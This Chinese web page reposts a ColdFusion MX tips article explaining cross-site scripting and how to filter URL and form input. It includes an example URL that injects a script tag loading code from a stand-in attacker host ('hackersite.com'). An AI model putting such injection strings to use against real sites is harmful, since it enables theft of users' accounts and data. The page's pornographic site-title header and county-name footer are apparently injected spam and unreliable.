最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Coldfusion MX技巧精華收集之2第3/6頁(yè)

 更新時(shí)間:2007年03月15日 00:00:00   作者:  

保護(hù)頁(yè)面不受跨網(wǎng)站(cross-site)程序攻擊
跨網(wǎng)站程序攻擊是網(wǎng)站管理人員經(jīng)常必須面對(duì)的安全性問(wèn)題之一。像是 ASP,CFML 或者 PHP 這類的應(yīng)用程序服務(wù)器,由于它們與生俱來(lái)的動(dòng)態(tài)功能特性,使得它們特別容易受到這一類的攻擊。很多時(shí)候你的程序都會(huì)把某些信息從某個(gè)頁(yè)面?zhèn)魉偷搅硪粋€(gè)頁(yè)面,將資料儲(chǔ)存到數(shù)據(jù)庫(kù)中,或者將窗體或 URL 參數(shù)接收到的變量值顯示在頁(yè)面上。雖然能夠在不同頁(yè)面之間傳遞資料看起來(lái)是一個(gè)優(yōu)點(diǎn),但是如果你不夠小心的話,這項(xiàng)特性也會(huì)同時(shí)帶來(lái)嚴(yán)重的安全性問(wèn)題。舉例來(lái)說(shuō),請(qǐng)看看下面這個(gè)超鏈接以及相對(duì)應(yīng)的目標(biāo)頁(yè)面顯示的結(jié)果: 

<!--- 下面是你某個(gè)頁(yè)面中的超鏈接 --->
<A HREF="nextpage.cfm?username=Brian">請(qǐng)按這里</A>
<!--- 下面是 nextpage.cfm 所顯示的內(nèi)容 --->
<CFOUTPUT>
歡迎來(lái)到下一頁(yè),#URL.UserName#。
</CFOUTPUT> 

看起來(lái)夠簡(jiǎn)單了吧?上面這個(gè)超級(jí)鏈接純粹把使用者名稱從一個(gè)頁(yè)面?zhèn)鬟f到另一個(gè)頁(yè)面去(nextpage.cfm),如果你不夠小心的話,這正是問(wèn)題可能發(fā)生的地方。跨網(wǎng)站程序(cross-site scripting)基本上便是欺騙你的 Web 服務(wù)器,讓它在未預(yù)期的的情況下執(zhí)行其它網(wǎng)站上面的程序,JavaScript,Java applet 或者 ActiveX 控件。 

如果你觀察上面這個(gè)例子的目標(biāo)頁(yè)面的 URL,它看起來(lái)會(huì)是下面這樣: 

http://www.mysite.com/nextpage.cfm?username=Brian 
某位不懷好意的使用者可以自己輸入一個(gè) URL,里面包含一個(gè)連向另一部服務(wù)器上面的程序的連結(jié),就像下面這樣: 

http://www.mysite.com/nextpage.cfm?username=<script src="http://www.hackersite.com/nastyscript.js"> 
當(dāng) ColdFusion 在下一個(gè)頁(yè)面輸出上面的 URL 所傳過(guò)來(lái)的變量的時(shí)候,輸出結(jié)果看起來(lái)變成下面這樣: 

歡迎來(lái)到下一頁(yè),<script src="http://www.hackersite.com/nastyscript.js">。 
這個(gè)變量會(huì)讓你那無(wú)辜的頁(yè)面在你未預(yù)期的狀況下執(zhí)行對(duì)方指定的 JavaScript 程序代碼。利用類似的方式,對(duì)方也可以在 URL 里面指定惡意的 ActiveX 控件或者 JavaApplet。當(dāng)然,在這個(gè)例子里面,使用者僅是在瀏覽器上面執(zhí)行他們自己指定的程序而已,但如果這些惡意程序代碼被你自己的程序不小心儲(chǔ)存起來(lái)并且之后又輸出到其它使用者的畫(huà)面上(例如搗亂者將某些 JavaScript 程序代碼輸入在你的討論區(qū)發(fā)表文章窗體里面,然后你的程序在不知情的狀況下把這些程序代碼當(dāng)成發(fā)言內(nèi)容的一部份存入數(shù)據(jù)庫(kù)中,那么其它使用者觀看到這篇文章的時(shí)候,那些被刻意放入的 JavaScript,Java Applet 或者 ActiveX 控件便會(huì)在其它使用者的瀏覽器上面執(zhí)行了),這時(shí)候那些程序就可能足以將其它使用者的帳號(hào),密碼或者其它敏感資料暗中傳送到某個(gè)地方去。這項(xiàng)安全性問(wèn)題并非 ColdFusion 才會(huì)發(fā)生的狀況,任何應(yīng)用程序服務(wù)器,只要它能夠接收從 URL 或者窗體傳送過(guò)來(lái)的資料并且顯示在使用者畫(huà)面上,都有可能受到這類攻擊。 

幸運(yùn)的是,要避免這種狀況發(fā)生并不困難。你要做的工作是過(guò)濾來(lái)自 URL 或者窗體傳送過(guò)來(lái)的資料,并且將一些特殊的危險(xiǎn)字符,例如 < 或者 >(大于和小于符號(hào)),把他們替換成相對(duì)應(yīng)的 ASCII 字符碼形式(例如將 < 替換成 &lt;)就可以了。事實(shí)上 Allaire 公司提供了一個(gè) CF_InputFilter 自訂卷標(biāo),你可以將它用在你的 application.cfm 檔案里面,它可以替你處理相關(guān)的特殊字符過(guò)濾工作。如果你需要更完整的關(guān)于這項(xiàng)議題的資料,請(qǐng)參考「Allaire 安全問(wèn)題布告欄」網(wǎng)站上面的這篇文章(ASB00-05)。

相關(guān)文章

最新評(píng)論

鄢陵县| 吉林市| 横山县| 三都| 漳平市| 刚察县| 铅山县| 清镇市| 沁源县| 南平市| 梁平县| 昌吉市| 商洛市| 龙川县| 贺州市| 陕西省| 酒泉市| 同心县| 昌黎县| 鹤庆县| 南澳县| 阿尔山市| 汪清县| 吉木乃县| 阿拉善右旗| 唐河县| 西安市| 遵化市| 盱眙县| 丁青县| 三门县| 浪卡子县| 平顺县| 孙吴县| 天津市| 宁明县| 曲沃县| 乌兰浩特市| 应城市| 湘西| 靖州|